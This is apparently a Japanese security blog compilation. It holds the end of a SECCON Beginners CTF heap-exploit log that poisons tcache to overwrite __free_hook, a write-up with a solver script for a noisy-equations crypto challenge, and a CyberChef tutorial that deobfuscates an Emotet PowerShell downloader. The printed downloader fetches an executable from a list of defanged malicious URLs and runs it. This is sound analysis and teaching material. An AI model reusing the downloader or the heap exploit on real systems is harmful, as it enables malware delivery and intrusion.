                       +--------------------+
    0x00005605cb459340 | 0x4141414141414141 |
                       +--------------------+
    0x00005605cb459348 | 0x0000000000000030 |
                       +--------------------+
    0x00005605cb459350 | 0x00007f0194b978e8 |
                       +--------------------+
    0x00005605cb459358 | 0x000000000000000a |
                       +--------------------+
    0x00005605cb459360 | 0x0000000000000000 |
                       +--------------------+
    0x00005605cb459368 | 0x0000000000020ca1 |
                       +--------------------+
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [ 0x00005605cb459350(rw-) ]
            ||
            \/
    [ 0x00007f0194b978e8(rw-) ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    It seems __free_hook is successfully linked to tcache!
    And the chunk size is properly forged!
    
[*] B = malloc(0x18); read(0, B, 0x18);
    data: b'A'
    len: 1
[*] free(B); B = NULL;
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [ 0x00007f0194b978e8(rw-) ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    It seems __free_hook is successfully linked to tcache!
    The first link of tcache is __free_hook!
    Also B is empty! You know what to do, right?
    
[*] B = malloc(0x18); read(0, B, 0x18);
    data: b'e\xc4\t\xca\x05V\x00\x00'
    len: 8
[*] Describe tcache (for size 0x20)
    -=-=-=-=-= TCACHE -=-=-=-=-=
    [    tcache (for 0x20)    ]
            ||
            \/
    [      END OF TCACHE      ]
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Currently available hint
    It seems you did everything right!
    `free` is now equivalent to `win`
    
[*] free(B); B = NULL;
[*] Switching to interactive mode
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

FLAG

ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

Noisy equations (Crypto)

問題

noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip

添付ファイル

  • problem.py

解答例

ファイルを確認すると、problem.py というPythonスクリプトが入っていました。

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

上記のスクリプトを読み取ると、以下のような感じの行列式で表せます(フラグの文字数が3の場合)。

f:id:tsalvia:20200525091551p:plain

  • a ~ i は、coeffs(係数)
  • s1 ~ s3 は、フラグ文字
  • n1 ~ n3 は、ランダムなノイズ
  • y1 ~ y3 は、answers(計算結果)

SEED値は、常に固定なので、上記のスクリプトを2回実行して引いてあげれば打ち消すことができます。

f:id:tsalvia:20200525095215p:plain

上記の通り計算するスクリプトを作成しました。

#!/usr/bin/env python3
from pwn import *
import numpy as np

HOST = 'noisy-equations.quals.beginners.seccon.jp'
PORT = 3000

def get_params():
    context.log_level = 'WARN'
    if args['REMOTE']:
        io = remote(HOST, PORT)
    else:
        io = process(['python3', 'problem.py'])
    coeffs = eval(io.readline().strip())
    answers = eval(io.readline().strip())
    io.close()

    answers_matrix = []
    for i in answers:
        answers_matrix.append([i])
    return coeffs, answers_matrix

def main():
    coeffs_1, answers_1 = get_params()
    coeffs_2, answers_2 = get_params()

    C_1 = np.matrix(coeffs_1, dtype='float64') # 桁が大きいので float64 として扱う
    C_2 = np.matrix(coeffs_2, dtype='float64')
    Y_1 = np.matrix(answers_1, dtype='float64')
    Y_2 = np.matrix(answers_2, dtype='float64')

    S = np.linalg.inv(C_1 - C_2) * (Y_1 - Y_2)
    S = np.rint(S) # 計算結果に多少誤差が出るので、四捨五入する
    S = S.astype(int)

    flag = ''.join([chr(c) for c in S])
    print('flag: {}'.format(flag))

if __name__ == '__main__':
    main()

実行すると、フラグが表示されます。

$ python3 solve.py REMOTE
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

FLAG

ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

CyberChef で Emotet ダウンローダを読んでみた

CyberChef のレシピと変換結果

  • CyberChef レシピ

    CHEF FORMAT
    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches')
    Defang_URL(true,true,true,'Only full URLs')
    Syntax_highlighter('powershell')
    COMPACT JSON
    [{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Decode text","args":["UTF-16LE (1200)"]},{"op":"CSS Beautify","args":["    "]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"`"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'+'"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'http"},"\\n'http",true,false,true,false]},{"op":"Fork","args":["\\n","\\n",false]},{"op":"Conditional Jump","args":["http",false,"http",1]},{"op":"To Lower case","args":[]},{"op":"Label","args":["http"]},{"op":"Merge","args":[]},{"op":"Register","args":["(\\.[\"'][Ss][Pp][Ll][Ii][Tt][\"'])",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},".\"split\"",true,false,true,false]},{"op":"Register","args":["((?<=\\+\\$).*(?=\\+))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R1"},"file_name",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=\\$env))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R2"},"file_path",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=.\\(.new-object))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R3"},"net_webclient",true,false,true,false]},{"op":"Register","args":["((?<=in \\$).*(?=\\)))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R4"},"url_list",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?= in))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R5"},"url",true,false,true,false]},{"op":"Regular expression","args":["User defined","^(?=.*(file|net|url|http|break|{|})).*$",true,true,false,false,false,false,"List matches"]},{"op":"Defang URL","args":[true,true,true,"Only full URLs"]},{"op":"Syntax highlighter","args":["powershell"]}]
    
  • デコード・整形後のスクリプト結果

    この検体以外にも60検体ほど試してみましたが、すべて同じように変換できました。

    f:id:tsalvia:20200304214220p:plain

  • 変換後のスクリプト

    以下のように、かなり読みやすくなりました。
    $file_name = '209';
    $file_path=$env:userprofile+'\'+$file_name+'.exe';
    $net_webclient=.('new-object') net.webclient;
    $url_list=
    'hxxp[://]bolehprediksi[.]com/wp-includes/ifrEFSqSw
    /*hxxp[://]www[.]designindia[.]live/js/ycCKqHl
    /*hxxp[://]www[.]hair2mpress[.]com/oeiwosk36j3ss/wtuds/vedMDhc
    /*hxxp[://]www[.]worldnoticiasonline[.]com/wp-content/uploads/vvhaa000vj-mq98v-19988518
    /*hxxps[://]9jabliss[.]com/oirxio/nwkddr/'."split"([char]42);
    foreach($url in $url_list){
        try{
            $net_webclient."downloadfile"($url, $file_path);
            if ((.('get-item') $file_path)."length" -ge 33624) {
                ([wmiclass]'win32_process')."create"($file_path);
                break;
            }
        }
        catch{
        }
    }
    

解説

ANY.RUN から PowerShell スクリプトを取ってくる

  1. 右端にある PROCESS から PoWERsheLL.exe -e ~ をクリックする。
  2. クリックして出てきた PROCESS DETAILS の More Info をクリックする。 f:id:tsalvia:20200304213411p:plain
  3. Command Line に実際に使用されたスクリプトが書かれている。 f:id:tsalvia:20200304213452p:plain
  4. コピーして CyberChef に貼る。

Base64デコードする

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
  • 変換結果

    f:id:tsalvia:20200304213850p:plain

  • ポイント

    • Regular_expression を使って正規表現Base64 文字列のみを抽出する。
    • Base64デコード後、UTF-16LEでデコードする。

整形して色を付ける

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304222112p:plain

  • ポイント

    • CSS_Beautify で整形する。
    • Syntax_highlighter で色を付ける。

` と '+' を削除する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304222250p:plain

  • ポイント

    • '+' は、文字列同士を結合しているだけなので、Find/Replace で削除する。
    • ` は、エスケープ文字なので、Find/Replace で削除する。

URL以外の文字列を小文字に変換する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200305013003p:plain

  • ポイント
    • 次の処理のため、事前に 'http の前に改行を入れる。
    • 各行ずつ分割して、並行処理させる。
      • Fork を使って1行ずつ分割して処理する。
      • Conditional_Jump で http を含んだ行を判定し、http という名前の Label までジャンプさせる。それ以外の行は、小文字に変換する。
      • Fork で分割して処理した結果を Merge で結合する。
    • sPLiT だけ小文字に変換されていないので、個別に変換する。
      • Register で sPLiT をレジスタ($R0)に登録する。
      • レジスタに登録された文字(sPLiT)を Find/Replace で split に変換する。

変数名を分かりやすくする

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304223918p:plain

  • ポイント

    • Register で該当する変数名をレジスタ($R1~$R5)に登録する。
    • それぞれを Find/Replace で分かりやすい変数名に変換していく。

未使用な変数定義を削除する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches')
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304224435p:plain

  • ポイント

    • Regular_expression で file、net、url、http、break、{、} を含む行のみを抽出する。

URLを無力化する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches')
    Defang_URL(true,true,true,'Only full URLs')
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304225449p:plain

  • ポイント

    • Defang_URL で URL を無力化する